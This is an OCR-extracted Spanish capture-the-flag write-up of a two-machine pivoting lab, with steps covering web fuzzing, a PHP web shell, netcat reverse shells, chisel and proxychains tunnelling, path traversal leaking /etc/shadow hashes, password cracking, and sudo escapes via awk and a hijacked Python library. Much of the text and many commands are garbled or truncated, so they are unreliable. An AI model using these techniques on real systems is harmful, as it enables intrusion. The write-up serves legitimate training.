CTF By RiJaBa1l

EL HACKER ETICO
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CTF By RiJaBal

0- Introduccion

Segundo laboratorio de pivoting donde vamos a utilizar las maquinas “arroutada” y Pagina | 2

“jabita” del creador RiJaBal. Este es el esquema del laboratorio que vamos a resolver.

Maquina de ataque Maguina "arroutada”
192 168.80.128 192 168.56. 130
192.168.56.129 192.168.220.128

Méquina “jabita”
192.168.220.129

1- Comenzamos

El primer paso sera determinar la IP de la primera maquina que vamos a vulnerar.

Determinamos las redes donde se encuentra nuestra maquina de ataque.

/home/kali/Desktop/lab_rijaba

collisions @




“eth0” corresponde a la conexion con mi red doméstica. “ethl” es la segunda interfaz

de red y que, se encuentra conectada a la red donde estd el primer objetivo que vamos

a vulnerar.

Una vez conocida esta red, la escaneamos para buscar que dispositivos se encuentran Pégina | 3

en esa red. Determinamos que la IP de la maquina Arroutada es 192.168.56.130.

/home/kali/Desktop/lab_rijaba
-I ethl localnet

Interface: ethl, type: EN1BMB, MAC: @0:0c:29:59:b9:9e, IPv4: 192.168.56.129
Starting arp-sca ] hosts (https github.com/royhills/ar can)
; 12 ed: VMware, Inc.

2- Arroutada

2.1.  Enumeracion

2.1.1. NMAP

Comenzamos con una enumeracion rapida de los servicios disponibles.

/home/kali/Desktop/Llab_rijaba
D 1 @ee -Pn -n -

sed (65535 total ports)

latency).

Solo encontramos abierto el puerto 80 en el objetivo. El siguiente paso serda el escaneo

profundo de este servicio.

Jfhome/kali/Desktop/lab_rijaba

PORT STATE SERVICE REASON VERSION

80/tcp open http syn-ack ttl 64 Apache httpd 2.4.54 ((Debian))
| _http-server-header: Apache/2.4.54 (Debian)

| _http-title: Site doesn't have a title (text/html).

| http-methods:

|_ Supported Methods: GET POST OPTIONS HEAD

MAC Address: @8:00:27:60:F9:CF (Oracle VirtualBox virtual NIC)

2.1.2. Enumeracion Web

Abrimos el puerto 80 en el navegador Web.




Abrimos el cédigo fuente, pero solo contiene la imagen anterior. Podemos intentar

extraer los metadatos de la imagen por si hubiese informacion interesante.

/home/elhackeretico/Escritorio/lab_pivoting_rijaba
exiftool apreton.png
ExifTool Version Number 1 12.49
File Name : apreton.png
Directory o
Size
Modification Date/Time
Access Date/Time
Inode Change Date/Time 106+01:00
Permissions
Type
Type Extension

Color Type : Grayscale with Alpha
[Compression : Deflate/Inflate
Adaptive

1280x661
[Megapixels 1 0.846

Tenemos un posible directorio /scout.

Vamos a realizar un escaneo de directorios.

/home/kali/Desktop/lab_rijaba
B ' -1200,301 -w fhome/kali/SecLists/Discovery/Web-Content/directory-list-2.3-medium. txt

HTTP method: 7 Wordlist size:
Output File 2.168.56. £ 9.txt
Error Log: /root/.dir
Target:

[ ] Starting:

O & 192.168.56.130

Hi, Telly,

I just rem
Jscout/*

ibered that we had a folder with some important shared documents. The problem is that I don't know wich first path it was in, but I do know the second path. Graphically represented:
*idocs/

With continued gratitude,

Obtenemos una posible ruta a la que le falta un término. Vamos a fuzzear el término

que falta. Para ello, vamos a utilizar ffuf.
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fhome/kali/Desktop/lab_rij

/home/kali/SecLists/Discovery/Web-Content/directory-list-2.3
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(& 192.168.56.130

Index of /scout/j2/docs

Name Last modified Size Description

¥ Parent Directory .
pass.txt 2023-01-08 10:07 14
shellfileods  2023-01-08 10:06 12K
2023-01-08 10:08 0
2023-01-08 10:08 0
2023-01-08 10:08 0
2023-01-08 10:08 0

0 (] ) ) [
R R

Es un directorio abierto que contiene 1000 archivos. Solo hay dos archivos con
contenido. Como podemos ver, en los archivos z*, size es igual a 0. Descargamos estos

dos archivos.

192.168.56.130/scout/j2/doc: %

O & 192.168.56.130

El archivo pass.txt no parece contener informacion util. Vamos a intentar extraer

informacién de la hoja de calculo de libre office.

Enter Password - shellfile.ods - LibreOffice

Enter password to open file:
file://fhome/elhackeretico/Escritorioflab_pivoting_rijaba/shellfile.ods

Help Cancel

Pero es necesaria una contrasefia. Vamos a utilizar la herramienta libreoffice2john para

extraer el hash de la contrasefia del archivo para intentar descifrarla.

/home/elhackeretico/Escritorio/lab_pivoting_rijaba
libreofficezjohn shellfile.ods > hash




Ahora vamos a descifrar este hash.

/home/elhackeretico/Escritorio/lab_pivoting_rijaba
john --show hash

shellfile.ods johnil shellfile.ods

La contrasefia del archivo ods es “john11”. Vamos a abrir el archivo para ver el Pagina | 6

contenido.

PATH /thejabasshell.php

Obtenemos la ruta del archivo “/thejabasshell.php”. Vamos a ver el contenido en el

navegador.

192.168.56.107/thejabasshell x

O A 192.168.56.107

Nos devuelve una pdgina en blanco. ¢ Qué podemos hacer? El nombre del archivo puede

ser sospechoso ¢Puede ser una pista de por donde ir?

2.2.  Explotacion

Vamos a tratar de encontrar un pardmetro de este archivo que nos pueda permitir

realizar un RCE.

/home/kali/Desktop/lab_rijaba
-c - - @ -w /home/kali/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -

Vamos al navegador.

192.168.56.130/thejabasshe

&« €] O & 192.168.56.130

Error: Problem with parameter "b"

Parece que falta un pardmetro “b”. Volvemos a fuzzear.




/home/kali/Desktop/lab_rijaba

-u fhome/kali/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -

Después de abrir de nuevo la URL en el navegador, parece que podemos acceder a
. . . Pagina | 7
informacidn del sistema.

192.168.56.130/thejabasshell x

QO & 192.168.56.130

imgs index.html scout thejabasshell.php

Sabiendo esto, vamos a ejecutar una reverse Shell para conectarnos al sistema objetivo.

Al mismo tiempo, tenemos a la escucha un oyente netcat en el puerto 4444.

= 192.168.56.130/thejabas: x

&« Q 192.168.56.130

/home/kali/Desktop/lab_rijaba

Ya estamos conectado a la maquina victima. Vamos a mejorar la Shell. Comprobamos si
existe alguna versién de Python instalada en el sistema. No es asi, por lo que lo haremos

de la siguiente manera.

[home/kali/Desktop/lab_rijaba
raw -echo;f
[1] + continued nc -lnvp 4444

ww-data@arroutada:/var/ww/html$ Jj

2.2.1. Escalar a usuario
Tenemos acceso al sistema como www-data, ahora debemos escalar a un usuario.

Comenzamos enumerando los archivos del directorio.

:33 index.html
19 scout

thejabasshell.php




Se estd ejecutando un proceso interno en el puerto 8000. Vamos a redirigir este puerto

a nuestra maquina de ataque. Este proceso lo realizamos de la siguiente manera.

En la maquina objetivo.

www-datamarroutada: /var/www/html$ nc -nlktp 8081 -c¢ "nc 127.0.0.1 S000"°

En la maquina de ataque.

/home/kali/Desktop/lab_rijab

'WICE REASON VERSION
syn-ack ttl 64 PHP cli server 5.5 or later

thods: GET HEAD POST OPTIONS
e doesn’'t h a title (text/html; charset=UTF-8).
DD:E&:1D ()

Es un servidor el servicio que se esta ejecutando en el puerto 8000 interno de la maquina

objetivo.

Ejecutando curl y también, abrimos el puerto el navegador.

This site is from I 1 . s b e .
< e b b e, . <<

Tenemos un nuevo archivo como resultado. Vemos su contenido.
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/home/kali/Desktop/lab_rijaba
1 hp
ied in the reguest body.

contents( 'php
de($json, t

nmand' 1)) {

r: the "command” parameter is not specified in the request body.';

Este coddigo nos permite, mediante peticiones POST, ejecutar comandos remotamente.

Vamos a intentar ejecutar comandos remotamente.

/home/kali/Deskt
POST htt /192.168.56

Podemos ejecutar comandos remotamente. Vamos a tratar de enviar una Shell
aprovechando el error que encontramos anteriormente. Al mismo, tiempo ejecutamos

un oyente netcat en el puerto 4444,

/home/kali/Desktop/lab_rijaba
T http://192.168.56.130:8001/priv.php -H

“lnvp 4444
listening on [any] &4&444 y
connect to [192.168.56.129] from (UNKNOWN) [192.168.56.130] 59062
id
uid=1001(drito) gid=1081(drito) groups=1001(drito)

Ya tenemos conexién en la mdaquina objetivo como usuario “drito”. Realizamos el
tratamiento de la tty.

/home/kali/Desktop/lab_rijaba
listening on -
connect to [192 ] from (UNKNOWN) [192.168 30] 59062
id
groups=1001(drito)
wll

-lnvp 4444
/home/kali/Desktop/lab_rijaba

raw -echo
[1] + continued nc -lnvp 4444

drito@arroutada:~/web$ I

Buscamos la flag user.txt

2.3.  Elevacién de privilegios

Comenzamos enumerando los permisos de sudo.
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» sudo -1
1itries for drito on arroutada:

usr/sbin\:/usr/bin\:/sbin\:/bin

User drito mav run the C ds on arroutada:
(ALL : ALL) NOP
dritomarroutada:

sudo fusr/bin/;
ome/drito# id
g root) groups=@(root)
root@arroutada: /home/drito# [|J

Buscamos la flag root.txt

3- Pivotando de “arroutada” a “jabita”
Comenzamos enumerando en que redes se encuentra la maquina “arroutada”.

rootgarroutada:~# hostname -I
192.168.56.130@0 192.168.220.
root@arroutada:~# I

La IP 192.168.56.130 corresponde la red donde se encuentra nuestra maquina de red.
Vamos a realizar un escaneo de todos los equipos que se encuentran en esta segunda
red. Para ello, creamos un pequeiio script en bash que mediante ping nos muestre las

IPs activas en red.

/home/kali/Desktop/lab_rijaba
scanports.sh
#!/bin/bash

Get the network pref
g. 192.168.1): " prefix

e IP address

5(ping -c 1 " bi” | gre es from" | awk '{print $4}')

# Exit the script
o "IP enumeration complete, exiting..."

Enviamos este archivo a la maquina “arroutada” haciendo uso de un servidor HTTP con

Python3.
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/home/ka
-m http e

essage File not found
anpor HTTR/1.1" 4@
anports.sh HTTP/1.1

canports.sh Pagina | 11
scanports.sh

scanports.sh 10 _———] 490 —.-KB/s in @s

2-04 15:50:29 (25.0 MB/s) - ‘scanports.sh’ saved [490/490]

parroutada:/tmp# 1s
html
scanports.sh

root@arroutada: /tmp# ./scanports.sh
¢ prefix (e.g. 192.168.1): 192.168
is up
is up
ion complete, exiting ...
root@arroutada: /tmp# I

Ya tenemos la IP de la maquina “jabita” a la que pivotaremos desde “arroutada”.

El siguiente paso sabiendo que existe otra madaquina visible desde “arroutada”.
Comenzamos el proceso de pivoting. En nuestra maquina de ataque ejecutamos lo

siguiente:

/home/kali/Desktop/lab_rijaba
L6

ion (0.0.C

El siguiente paso sera transferir un binario de chisel a la maquina “arroutada” utilizando
un servidor Python HTTP. Damos permisos de ejecucion. Y ejecutamos de la siguiente

manera:

Ejecutando de esta manera podremos tener conexién con todos los puertos de la

maquina “jabita” ejecutando un Unico comando.




s from server version
socks: Listening

Se crea una conexidn de tipo socks a la escucha en el puerto 1080. Para que esto
funcione deberemos crear una conexion de socks para eso puerto en el archivo

/etc/proxychains.conf. Aiadimos la siguiente linea en el archivo. Pagina | 12

[ProxyList]

socks5 127.0.@.1 1@8@

A partir de este momento, debemos utilizar la herramienta proxychains para poder
utilizar el tunel creado y poder conectarnos con la maquina “jabita” desde nuestra

maquina de ataque, aun no estando en nuestra red.

Ya podemos comenzar con la enumeracion y explotacion de “jabita”.

4- Jabita

4.1. Enumeracion

4.1.1. NMAP
Comenzamos enumerando los puertos abiertos en la maquina “jabita”. Recordamos que
para poder conectarnos con esta maquina desde nuestra maquina de ataque debemos

utilizar proxychains.

/home/kali
q nmap -p-

192.16
.168.

/home/kali
g nmap -p2

8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)

/html).

x_kernel




4.1.2. Enumeracion Web
Para comenzar la enumeracién Web, debemos configurar foxy proxy para poder

conectarnos al puerto 80 de la maquina “jabita”.

A . . s .
&) Edit Proxy proxychains Pagina | 13
Title or Description (optional) Proxy Type
Color Proxy IP address or DNS name
#66cc66
Send DNS through SOCKS5 proxy 0 Port

Username (optional)

Password (optional)

=n

A partir de este momento, podremos conectarnos al puerto 80 de la maquina “jabita”.

O & 192.168.220.129

We're building our future.

No parece contener anda interesante. Tampoco en el cddigo fuente.

Vamos a realizar una enumeracion de los directorios del sitio Web.

1 -w /home/kali/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt

Extensions: 5 Wordlist size:
Output File:

Error Log

Target:

[ Starting:
29/building/

Task Completed

192.168.220.129/building/in

@ O & 192.168.220.129

Home Gallery Contact




Tres enlaces a otros puntos del sitio Web. Hay una cosa que nos llama la atencidn. Si nos

fijamos en la URL, parece vulnerable a “directory traversal”. Vamos a comprobarlo.

1

J ]
Home Gallery Contact Pag| na | 14
Toot: $y$]9T$avXO?BCR5/1CNmeaGmMSZCI$gD9m7w9/21111C9X0acmnTHTp0vde7sm0L]eY]lVBul 19240 :0:99999:7:: daemon #:19213:0:99999:7::

bin:*:19213:0:99999: sys:*:19213:0:99999:7. % :0: : o :0: : 7 9 : :lp*192130999997

mail:*:19213:0:9999 : www-data:*: 19213 :0:9999 :
backup:*:19213:0:9999 :0:
systemd-network:*:1921 9999:7::: systemd-resolve

t:%:19213:0:09999:7:::

:0: :7::: nobody:*:19213:0:99999:
.. messagehus +*:19213:0: 99999 7:: systemd-timesyne:*:1
pollinate:*:19213:0:99999:7::: sshd:*:19213:0:99999: :7::: uuidd:*:19213:0:99999:7::: tcpdump:*:19213:0: 99999
ts5:*:19213:0:99999:7::: landscape:*:19213:0:99999:7::: B 1xd:1:19236:::
jack: $6$xyz$FUlGrthU9X8krU/94RECeranNqUSVMUhSYThGCAGhlPqYCerXBln3q2]2vgngcTrquPTGsP]Epn[7U 0:19236:0:99999:7::
Jjaba:$y$j9T$pWlo6Wh]DbnYz6qZIM87d.$ CGQnSELBaHLIBY/4116jFieCPzj7wk54P8K4j/xhi/1:19240:0:99999:7::

68.220.129/building/in

QO & 192.168.220.129

Home Gallery Contact

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:fusr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbhin/nologin
sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/shin/nologin man:x:6:12:man:/var/cache/man:/usr/shin/mnologin Ip:x:7:7:1p:/var/spool/lpd:/usr
/shin/nologin mail:x: mail:/var/mail:/usr/sbhin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/shin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/shin/nologin backup:x:34:34:backup:/var/backups:/usr/shin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/shin/nologin ire:x:39:39:ircd:/run/ircd: fusr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var
Mlib/gnats:/usr/sbhin/nologin nobody:x:65534:65534:nobody:/nonexistent:fusr/shin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-
network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/shin/nologin
messagebus:x:103:104::/nonexistent:/usr/shin/nologin systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/shin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false sshd:x:106:65534::/run/sshd:/usr/sbin/nologin syslog:x:107:113::/home/syslog:/usr/sbin/nologin uuidd:x:108:114::/run
fuuidd:/usr/sbin/nologin tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false landscape:x:111:117::/var
Mlib/landscape:fusr/sbin/nologin usbmux:x:112:46:usbmux daemon,,,:/var/lib/jusbmux:/usr/shin/nologin lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
jack:x:1001:1001::/home/jack:/bin/bash jaba:x:1002:1002::/home/jaba:/bin/bash

4.2. Explotacion. Acceso al sistema como usuario “jack”
Obtenemos resultados para los archivos /etc/shadow y /etc/passwd. Vamos a realizar
una copia de los datos de estos tres usuarios del archivo paswd y shadow. Unificamos

los datos de los dos archivos con unshadow y desciframos con john.

fhome/kali/Desktop/lab_rijaba
passwd shadow > hashes_

/hume/kahlbesktupﬂ.ab rijaba

Tenemos la contrasefia para el usuario “jack”. Recordamos que, en el escaneo de
servicios inicial, el puerto 22 (SSH). Vamos a tratar de conectarnos a la maquina victima

a través de este servicio con las credenciales encontradas.




: apt list —upgradable

822 from 192 8.90

Tenemos conexién en la maquina victima como usuario “jack”.

4.3. Pivotando a usuario “jaba”
Comenzamos listando los permisos que tiene el usuario “jack” para utilizar privilegios de

otro usuario.

/local/sbin\:/usr/local/bin\: /usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, listpw=never

User jack may run the fo ving commands on jabita:
(jaba : jaba) NOP : /usr/bin/awk

Consultamos GTFOBIns.

| sudo

If the binary is allowed to run as superuser by =udo , it does not drop the elevated privileges and may be used to access the file
system, escalate or maintain privileged access.

sudo awk "BEGIN {system("/bin/sh")}’

Ejecutamos y habremos pivotado al usuario “jaba”.

)jabita:~% sudo -u fusr Jawk 'BEGIN {sy ("/bin/sh"

SEL]

Buscamos la flag user.txt
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https://gtfobins.github.io/gtfobins/awk/#sudo

4.4. Elevacion de privilegios

Volvemos a consultar los permisos de sudo.

Defaults entrie E
eset, mail_badp. secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\: /usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, listpw=never

User jaba may run the following commands on jabita: Pa’gn’]a | 16

(root) NOPASSWD: fusr/bin/pythen3 /fusr/bin/clean.py
jaba@jabita:~$

Podemos ejecutar como “root” un script cuya utilidad es cargar una libreria Python.

Vamos a ver cdmo podemos elevar privilegios sabiendo esto.

fusr/bin/cl

Con este cédigo, cuando se ejecute la funcién, “root” lanzara la Shell.

Volvemos a lanzar la libreria Python, pero ahora modificada.

3 /usr/bin/clean.py

me/jaba# cd
# 1s

root@jabita:~# [




Fin de la resolucién de los CTF “arroutada” y “jabita” en el mismo laboratorio donde
hemos vulnerado la maquina “arroutada” que se encontraba en la misma red de nuestra
maquina de ataque. Tras esto, hemos pivotado a la maquina “jabita” solo visible desde

“arroutada”. _—
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